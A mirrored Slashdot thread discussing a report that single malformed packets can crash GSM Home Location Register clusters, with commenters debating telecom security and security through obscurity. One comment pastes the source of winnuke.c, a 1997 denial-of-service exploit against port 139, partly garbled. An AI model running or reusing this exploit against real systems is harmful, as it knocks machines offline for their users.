Slashdot Mirror


Lone Packet Crashes Telco Networks

mask.of.sanity writes "A penetration tester has shown that GSM communications systems can be taken down with a handful of malformed packets. The weakness was in the lack of security around the Home Location Register server clusters which store GSM subscriber details as part of the global SS7 network. A single packet, sent from within any network including femtocells, took down one of the clusters for two minutes."

57 comments

  1. Hardly surprising... by jonwil · · Score: 3, Informative

    Cellular standards like GSM and UMTS (no idea about other standards like LTE or CDMA) are not designed to be secure. They are designed to be complex to implement and to use as many pieces of patented technology as possible.

    1. Re:Hardly surprising... by Another,+completely · · Score: 3, Informative

      They do have security designed in, but it's the hard-outer-shell variety. Doesn't GSM authenticate handsets by having the home register send a challenge along with the appropriate response in a plain-text packet to the cell? The first GSM "attack" I heard about involved connecting your fake phone to a cell, and listening to the microwave channel to hear what response you should send when it sends a challenge. It doesn't sound like a clever design, but I suppose it was trying to reduce communication and memory requirements at the home register?

    2. Re:Hardly surprising... by Severus+Snape · · Score: 5, Insightful

      You surely can't be that naive and must be trolling. GSM masts are critical pieces of infrastructure in mobile telecoms and it's in every stakeholders that they are secure and reliable. It's security researchers jobs to find these holes, if they were so poorly designed we'd see stories like this every day.

    3. Re:Hardly surprising... by queazocotal · · Score: 4, Informative

      Well, no.

      The barrier to entry for a firefox security hole is really, really low.
      Typically anyone with a computer can do it, with no external equipment.
      In addition, it's typically legal to do. (though that may not stop some).

      Knowledge of how tcp/ip and similar standards work is widespread, and lots of people know this.

      For hacking cell networks, it's a bit different.

      It's basically a completely different set of protocol stacks unrelated to tcp/ip - so you have to learn a whole bunch to even attempt it.
      You need a few thousand dollars (this may have come down slightly) of specialised equipment to do the attack.
      You are doing something that is often illegal, or of dubious legality at best.

      All of these combine to make the pool of attackers orders of magnitude smaller.

    4. Re:Hardly surprising... by Gerald · · Score: 4, Interesting

      The barrier for GSM is getting lower every day so it wouldn't surprise me if bugs like this start showing up more often.

    5. Re:Hardly surprising... by Megane · · Score: 4, Insightful

      It's basically a completely different set of protocol stacks unrelated to tcp/ip - so you have to learn a whole bunch to even attempt it. You need a few thousand dollars (this may have come down slightly) of specialised equipment to do the attack. You are doing something that is often illegal, or of dubious legality at best.

      What you are talking about is security through obscurity, which is of dubious security at best.

      --
      #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
    6. Re:Hardly surprising... by kelemvor4 · · Score: 1

      Cellular standards like GSM and UMTS (no idea about other standards like LTE or CDMA) are not designed to be secure. They are designed to be complex to implement and to use as many pieces of patented technology as possible.

      Not to mention they were designed in 1990, and anything above only a minimal level of security is "optional". The world (or the parts of it that still use GSM) need to move on.

    7. Re:Hardly surprising... by geekoid · · Score: 2, Informative

      Security through obscurity is a perfectly fine layer of security.

      --
      The Kruger Dunning explains most post on /. http://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect
    8. Re:Hardly surprising... by grcumb · · Score: 4, Insightful

      "Security through obscurity is a perfectly fine extra layer of security."

      FTFY

      In other words: If you're relying on obscurity, you're doing it wrong.

      --
      Crumb's Corollary: Never bring a knife to a bun fight.
    9. Re:Hardly surprising... by scamper_22 · · Score: 3, Insightful

      Or there's a much simpler explanation... people who design protocols make tradeoffs or don't care about security.

      Most of the Internet protocols were designed in a relatively open way. Are they secure?

      Have you perhaps taken a look at SMTP, HTTP... heck even TCP isn't really secure. There's no authentication.

      Now yes, things have been built on top of things and security added on and more focused on... but really...

      In any case, just looking at history in the internet space, I think the lack of security has more to do with tradeoffs and trying to get things out quickly than any grand plan for patents.

    10. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      Security by obscurity is perfectly cromulent and can embiggen anyone's security system.

    11. Re:Hardly surprising... by camperdave · · Score: 4, Interesting

      Security is a presentation layer issue. SMTP, HTTP and TCP are not session layer protocols, and have no business worrying about security.

      --
      When our name is on the back of your car, we're behind you all the way!
    12. Re:Hardly surprising... by camperdave · · Score: 2, Interesting

      You need a few thousand dollars (this may have come down slightly) of specialised equipment to do the attack.

      Specialized equipment? You can probably do it with a cheap Android cell phone and some warez.

      --
      When our name is on the back of your car, we're behind you all the way!
    13. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      Encryption is just security through obscurity anyway.

    14. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      Cellular standards like GSM and UMTS (no idea about other standards like LTE or CDMA) are not designed to be secure. They are designed to be complex to implement and to use as many pieces of patented technology as possible.

      What utter BS. You don't know what you are talking about. The standards were designed for interoperability...so that the Ericsson HLR can work with the Nortel SCP and the Alcatel base stations. This was less so for the American "standards" (e.g. CDMA) which were not so interoperable (these "standards" were controlled by two companies - Qualcomm at the base station level and Telcordia for the network).

    15. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      Security is a presentation layer issue.
      SMTP, HTTP and TCP are not session layer protocols, and have no business worrying about security.

      Security can often be collobration between layers.
      While you want authentication as high up in the stack as you can get it lower layers may have a role to play in implementation.

      Layer purism does not work in the real world. Sometimes inter-layer dependancies including lower layer dependancies are necessary to get the job done.

      For example SMTP STARTTLS signals a TLS layer be injected under SMTP.

      HTTP SERVER_PORT_SECURE header is necessary to transport security state of layers under HTTP to layers above HTTP.

    16. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      What you are talking about is security through obscurity, which is of dubious security at best.

      Yet look how long this model has worked for Apple with OS X.

    17. Re:Hardly surprising... by Fnord666 · · Score: 1

      They do have security designed in, but it's the hard-outer-shell variety.

      Isn't that the M&M security method with a hard outer shell and a soft creamy center?

      --
      'The tyrant will always find pretext for his tyranny.' - Aesop's Fables
    18. Re:Hardly surprising... by DarkOx · · Score: 2

      No its not fine as a layer, and yes if you rely on it you are most certainly doing it wrong. While I'll agree it might be best not publish you network diagrams and similar as that might just be inviting trouble your components should not be secret.

      It can take way less time than you might be inclined to think for skilled cracker to develop a vulnerability. If they get their foot in the door anywhere, that obscure device or software component might well be their easiest path to escalated privileges. Since few use it and few have access the weakness have not been exposed, patches and mitigation strategies not developed. It ends up in many cases being easy prey for a 0-day.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    19. Re:Hardly surprising... by queazocotal · · Score: 4, Interesting

      In essentially all android and other phones, the 'modem' runs on a seperate processor, running its own OS, signed.
      'owning' the base android phone does nothing.
      You need to separately crack the modem. (unlocking is not cracking).
      The modem in most phones is basically a hayes-compatible modem, with a wierd interface soldered onto the board.
      The only interfaces the android side has to it is 'AT' commands.
      It can't inject raw packets, or ...

    20. Re:Hardly surprising... by DarkOx · · Score: 4, Insightful

      Well yes and know. Authentication, Confidentiality, and forms of integrity are session or higher layer problems. Availability is also a key component of security. You can't tell me issues like ye'old LAND attack, tear drop, ping of death, negative sequence numbers etc don't cause Availability problems and they are decidedly network and transport layer. If I can cut your wire to jam your airwaves thats a physical layer issue.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    21. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      No its not fine as a layer, and yes if you rely on it you are most certainly doing it wrong.

      A single layer is not a whole system.

    22. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      The "extra" you added is redundant and implied by the parent's use of the word "layer".

      Here is a link for you to brush up on your writing skills. http://writingguide.geneseo.edu/?pg=topics/luciditysimplicity.html

    23. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      Mod UP!

    24. Re:Hardly surprising... by SleazyRidr · · Score: 1

      Actually I thought he was talking about how bad the mobile networks are. The comment to which he was replying said that there are a lot of people trying to find these holes, so we'd find them all, but really there aren't that many people in a position to look for the holes, thus many will go unfound.

    25. Re:Hardly surprising... by Anonymous Coward · · Score: 0

      Er, that wasn't "security through obscurity" so much as "security through no-one caring enough about a few OS X machines to bother targetting them"(!)

    26. Re:Hardly surprising... by Cyberax · · Score: 1

      Not really. Telecom standards are an example of natural evolution of very long-living standards (consider this - phone networks predate the Internet itself!) and carry a lot of interoperability baggage. Besides, lots of modern standards were designed in 80-s and so they rely on contemporary technologies like ASN, that makes them hard to implement but is entirely understandable.

  2. A missing break statement by Anonymous Coward · · Score: 2, Informative

    A missing break statement was what brought down the eastern phone network in North America about 20 years ago. And the same simple problem seems to happen again.

  3. The Lone Packet Crashed My Network by Anonymous Coward · · Score: 3, Funny

    I was wondering why my router was playing the William Tell Overture.

  4. What was in this packet? by Anonymous Coward · · Score: 3, Funny

    Taco Bell Fire Sauce?

  5. The RF portion of the standards is well designed by exabrial · · Score: 4, Interesting

    The RF portion of the standards is well designed (take LTE with orthogonal multiplexing for example). However, the systems and switching part is waaay to complex. Telco providers are buried under mountains of technical debt... Even the systems part of LTE is complex: the American implementations from Sprint and Verizon are not be compatible because they cherry picked what parts they felt like implementing.

  6. I usually... by phil_aychio · · Score: 1, Funny

    do my penetration testing with my malformed package

    --
    obvious redundancy is obvious
    1. Re:I usually... by Anonymous Coward · · Score: 1

      Your hand accomodates about anything, doesn't it?

    2. Re:I usually... by Anonymous Coward · · Score: 0

      Your hand accomodates about anything, doesn't it?

      Only for ports that are in promiscuous mode.

  7. Re:The malformed packet was... by Megane · · Score: 1
    Nope, it was actually:

    +++ATH0

    --
    #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
  8. Re:The RF portion of the standards is well designe by fuzzyfuzzyfungus · · Score: 2, Funny

    Thankfully there are no examples of 'inter-networking' actually working in the wild, much less crazy stuff like hardware that can connect easily to almost any of those 'inter-networked' networks through standardized interfaces and protocols, so we can cut them some slack for failing to achieve such an absurdly difficult task...

  9. Re:The RF portion of the standards is well designe by jonwil · · Score: 1, Troll

    GSM, UMTS and LTE are not complex because they need to be, they are complex because a lot of entities with massive patent portfolios spent billions of dollars ensuring that they are complex (by finding ways to get as many of their patents as possible into the standards)

  10. Sometimes you don't even need a malformed packet by Anonymous Coward · · Score: 4, Interesting

    When I was testing a broadband access server at my first job, I've seen a case ping with explicitly specified packet size of 0 caused a divByZeroException on the receiving end. I couldn't resist reporting this bug in person to see the reaction on the developper's face. It was priceless. =)
    Someone else had also found a TFTP packet of death, when broadcasted all boxes under test crashed.
    Now when you factor in maliciously malformed packets, it doesn't surprise me these things happen at all.

  11. Kinda reminds me of this by kurt555gs · · Score: 1

    /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */

    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define dport 139 /* Attack port: 139 is what we want */

    int x, s;
    char *str = "Bye"; /* Makes no diff */
    struct sockaddr_in addr, spoofedaddr;
    struct hostent *host;

    int open_sock(int sock, char *server, int port) {
              struct sockaddr_in blah;
              struct hostent *he;
              bzero((char *)&blah,sizeof(blah));
              blah.sin_family=AF_INET;
              blah.sin_addr.s_addr=inet_addr(server);
              blah.sin_port=htons(port);

            if ((he = gethostbyname(server)) != NULL) {
                    bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
            }
            else {
                      if ((blah.sin_addr.s_addr = inet_addr(server)) \n",argv[0]);
                  exit(0);
              }

              if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
                    perror("socket()");
                    exit(-1);
              }

              open_sock(s,argv[1],dport);

              printf("Sending crash... ");
                  send(s,str,strlen(str),MSG_OOB);
                  usleep(100000);
              printf("Done!\n");
              close(s);
    }

    --
    * Carthago Delenda Est *
  12. I'm sorry by fustakrakich · · Score: 1

    But this sounds more like a feature...

    --
    “He’s not deformed, he’s just drunk!”
  13. Re:The RF portion of the standards is well designe by Anonymous Coward · · Score: 0

    GSM, UMTS and LTE are not complex because they need to be, they are complex because a lot of entities with massive patent portfolios spent billions of dollars ensuring that they are complex (by finding ways to get as many of their patents as possible into the standards)

    BS, you have no idea about what you are talking about. The standards are complex because they are designed for interoperability and extendability (a set of "capabilities" which can be used to create complex telecommunication services).

  14. Remember the Ping-O-Death by xmas2003 · · Score: 3, Interesting

    Us old farts will remember something similar called the Ping-O-Death! ;-)

    --
    Hulk SMASH Celiac Disease
    1. Re:Remember the Ping-O-Death by Amouth · · Score: 1

      That was always fun to do in the labs, so much fun.

      --
      '...if only "Jumping to a Conclusion" was an event in the Olympics.'
  15. Marketers are listening by Anonymous Coward · · Score: 0

    I go for many days between calls on my pay-as-you-go Nexus S. Mostly I use skype to communicate with folks so the phone isn't used much as a phone.

    Last few years I've noticed a correlation between phone activity and unsolicited marketing calls. Once a day shortly after I take a call I'll get a robocall from some mortgage refinance outfit.

    They're listening to radio traffic to target GSM phones that are likely to complete the calls. That or t-mobile is selling call records in real-time to marketers.

  16. They should use the security flag by Anonymous Coward · · Score: 0

    https://tools.ietf.org/html/rfc3514

  17. Authorities deny second packet, let truth prevail! by Pvt_Waldo · · Score: 1

    Check the Zapruder trace man, there was clearly a second packet on the grassy knoll! If you trace the first one, it came in via the ethernet port, out the USB, then back in via an SD card - which I say is impossible. Had to be a second packet.

  18. FUD by Anonymous Coward · · Score: 0

    FUD by some self proclaimed security expert, I wounder how he is able to send ss7 packets from a cell site :)
    ss7 doesn't reach cell sites only down to BSC's.

    I also think it should be kept in mind that GSM technology was standardised in late eighties, and big players such as AT&T allready have started shuiting down their GSM networks.

    Someone is seeking atention.

  19. Re:The RF portion of the standards is well designe by exabrial · · Score: 1

    I think the best example of inter-networking is worldwide GSM actually. You can take a GSM phone all over Europe and roam just fine.

  20. The reason for this is by kilodelta · · Score: 1

    When Signalling System 7 (SS7) specifications were written, there was no assumption that anyone other than a proper telco could access the network. Of course equal access provisions and telephony developments have peeled back the layers separating the user from the signalling pattern.

    Kind of how the Bell System used audio tones to control network functions until finally moving to out of band signalling.

    Their thinking at the time was that it offered a solution for sending information across the voice network and that most of the public wouldn't have access to the equipment of a tolerance necessary to generate and interpret those tones. They were very wrong about that part. But more astounding, they published details of the system in their technical publications. So it was sort of naive of them to think nobody would ever hack into the Bell System.

    The same is true in the field of other utilities like electric and gas generation and distribution. Look at SCADA - someone got the bright idea to tie SCADA to the network for ease of management. And then all of a sudden they acted all surprised when people started poking around. And as someone familiar with the NERC specifications - the real upshot of NERC is to log for forensics. There's no active prevention per se.

  21. AMPS was the best by Anonymous Coward · · Score: 0

    AMPS was the best cell phone scheme. It would travel for miles and would always have a signal even in the sticks. GSM sucks, it isn't reliable in rural areas. CDMA is better than GSM and TDMA but no way competes with AMPS in range. And with AMPS there were no 'packet' issues, there was no internet either with AMPS but that made it safer.

  22. Not quite.... by Anonymous Coward · · Score: 1

    Security probably needs to exist at all layers of the OSI model.

    It is true that some forms of security, relating to user data or user transactions, apply at the higher level and thus belong up in the topmost OSI network model layers.

    On the other hand, if your lower layers are compromised, channel availability is lost or data is compromised. You can't exactly ignore that sort of security at the lower layers.

    Every layer needs enough security so as to not be easily compromised.

    Also note that the Internet was always meant to be a system of stacked protocols. We have things like SSL (okay, not perfect, has some flaws of its own) through which we can tunnel TCP/IP traffic. The SSL provides a lot of the security. A lot, but not all. You may note that TCP/IP design or implementation issues have caused critical network unavailability and what amount to security fixes have also been applied there. So even in a layered world, security still needs to exist throughout the protocol stack.

    A protocol stack is only as strong as its weakest layer.

  23. Recent GSM blackout by Anonymous Coward · · Score: 0

    It reminds me of a recent major GSM black out :
    http://www.computerworlduk.com/news/mobile-wireless/3368648/orange-mobile-database-flaw-affects-26-million-in-france/

    Could it be related ?

  24. Re:The RF portion of the standards is well designe by fuzzyfuzzyfungus · · Score: 1

    I suspect that the telco desire to resist moving intelligence to the edges of the network has something to do with it. Ye olde intertubes are not so dumb as they seem; but they are rather closer to just carrying packets and leaving the rest to consenting adults than the cell networks are.

  25. Meh by Lord+Strongpants · · Score: 1

    Random magazine reports on talk at random conference by random pen tester dude who sez "Wow the world's telco networks are so insecure like I've hacked them heaps of times I'm pretty 1337" (I'm paraphrasing a bit but that's basically it). Well ... meh. Although, point that world's telco networks are pretty insecure, and the main limiting factor on the amount of hacking going on is just the amount of people who bother trying, is valid. Cheers.

  26. Attention seekers by Anonymous Coward · · Score: 0

    I was looking through the slides and I saw a lot of screen shots from Ericsson nodes and lots of boasts such as SMS is easy to intercept ... But no real proof of actual penetration or interception.

    Like the slide with the title "printing money". the show a screen shot of someone defining vouchers in Ericsson charging system, yes if you have access to the node you can provision vouchers for prepaid top ups, the tricky part is how do you get access to a node that isn't connected to the Internet ?

    It was mostly a lot of bs captain crunch etc it was a while since that was an actual vector